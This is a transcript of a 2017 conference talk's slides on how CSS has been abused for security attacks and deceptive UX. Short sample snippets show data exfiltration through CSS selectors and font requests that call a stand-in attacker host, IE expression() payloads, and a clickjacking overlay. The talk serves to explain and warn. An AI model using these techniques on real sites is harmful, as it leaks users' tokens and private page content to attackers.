CSS For Good, Not Evil

My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam

Transcript

1. CSS For Evil,
   Not Good.
   How style has been used to manipulate people, invade their privacy,
   steal their data, and other assorted nasty things.
   Stephen Hay, CSS Day 2017, Amsterdam
   

   View Slide

2. View Slide

3. View Slide

4. catawiki.com/jobs
   

   View Slide

5. MySpace
   

   View Slide

6. View Slide

7. View Slide

8. View Slide

9. Samy
   

   View Slide

10. In a relationship.
    

    View Slide

11. In a relationship.
    hot
    

    View Slide

12. View Slide

13. but most of
    all, Samy is 

    my hero
    By vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/,
    CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
    

    View Slide

14. expr="var B=String.fromCharCode(34); …”
    https://samy.pl/popular/tech.html
    http://www.securiteam.com/securitynews/6I00C2KEAA.html
    

    View Slide

15. WTF
    https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
    

    View Slide

16. Samy didn’t have 

    evil intentions.
    

    View Slide

17. I’m not a security expert.
    

    View Slide

18. View Slide

19. There are different
    levels of evil.
    

    View Slide

20. Level 1:
    Getting some 

    browsing history.
    

    View Slide

21. weirdbutdead.com
    

    View Slide

22. weirdbutdead.com
    getComputedStyle
    

    View Slide

23. Boolean algebra &
    mix-blend-mode
    

    View Slide

24. http://lcamtuf.coredump.cx/whack/
    http://lcamtuf.coredump.cx/css_calc/
    

    View Slide

25. Level 2
    Mathias Bynens’
    Evil Basement of Horrors
    

    View Slide

26. Some Belgian kid 

    did a presentation…
    https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
    

    View Slide

27. Stealing DOM data
    

    View Slide

28. id="csrf" value=“555…">
    #csrf[value^="a"] {
    background: url(//evilmathias.example.com/?v=a);
    }
    #csrf[value^="b"] {
    background: url(//evilmathias.example.com/?v=b);
    }
    etc.
    

    View Slide

29. Text-symbol leaking
    

    View Slide

30. 
    I think Javascript is OK
    
    @font-face {
    font-family: evilmathias;
    src: url(//evilmathias.example.com/?v=A);
    unicode-range: U+0041;
    }
    #my-dirtiest-secrets {
    font-family: evilmathias;
    }
    

    View Slide

31. Forcing IE=7 Expressions
    

    View Slide

32. .foo {
    width: expression( alert(‘Bad Evil Mathias’) );
    }
    
    with-css-payload”>
    

    View Slide

33. Level 3
    Path-relative 

    stylesheet import
    http://blog.portswigger.net/2015/02/prssi.html
    

    View Slide

34. http://example.com/posts.php
    
    Blah blah blah * { width: expression( alert( ‘evil’ )) }
    http://example.com/posts.php/
    

    View Slide

35. Level 4
    Content replacement
    

    View Slide

36. <br/>nav {display: none;}<br/>
    
    Content
    
    

    View Slide

37. Oops: allow users to
    add <br/>

    View Slide

38. Allow users to add
    classes.
    Oops.
    

    View Slide

39. Allow users to add
    classes.
    Oops.
    

    View Slide

40. Level 5
    UI Redressing
    “Clickjacking”
    

    View Slide

41. LinkedIn
    

    View Slide

42. .li_style {
    position: absolute;
    width: 100%;
    z-index: 10021;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    padding: 0;
    overflow-y: scroll;
    _overflow-y: hidden
    }
    

    View Slide

43. {"content": "href=\"http://www.example.com\">Example
    Site"}
    - https://security.linkedin.com/blog-archive#11232015
    

    View Slide

44. View Slide

45. Level 6
    Phishing
    

    View Slide

46. https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
    

    View Slide

47. View Slide

48. View Slide

49. One thing going for us,
    at least for now: most
    scammers aren’t great
    designers.
    

    View Slide

50. “Good” design works.
    Even for evil.
    

    View Slide

51. Level 7
    Dark Patterns
    Black Hat UX
    

    View Slide

52. Sophisticated deceivers
    seem knowledgable
    about behaviour as well
    as technology.
    

    View Slide

53. View Slide

54. Image: https://www.brignull.com/
    

    View Slide

55. View Slide

56. View Slide

57. “Roach Motel”
    

    View Slide

58. Unsubscribe…
    

    View Slide

59. View Slide

60. View Slide

61. View Slide

62. Misdirection
    

    View Slide

63. View Slide

64. View Slide

65. View Slide

66. View Slide

67. Confirmation of 

    desired behaviour
    

    View Slide

68. Yes | No
    Yes | Not right now
    Yes | Maybe later
    There is a significant difference between these sets of choices.
    

    View Slide

69. Exploiting 

    behavioural patterns
    

    View Slide

70. View Slide

71. People who stand to
    gain something from
    you have motive to
    deceive.
    

    View Slide

72. Level 8
    Command execution 

    on a target system
    https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
    

    View Slide

73. View Slide

74. View Slide

75. When systems become
    more complex, the
    number of possible
    weaknesses can
    increase, yet become
    less apparent.
    

    View Slide

76. What’s the

    takeaway here?
    Nothing.
    

    View Slide

77. Is there a 

    positive message?
    No.
    

    View Slide

78. Thank you!
    @stephenhay
    Special thanks to Mathias “Evil Belgian Kid” Bynens
    

    View Slide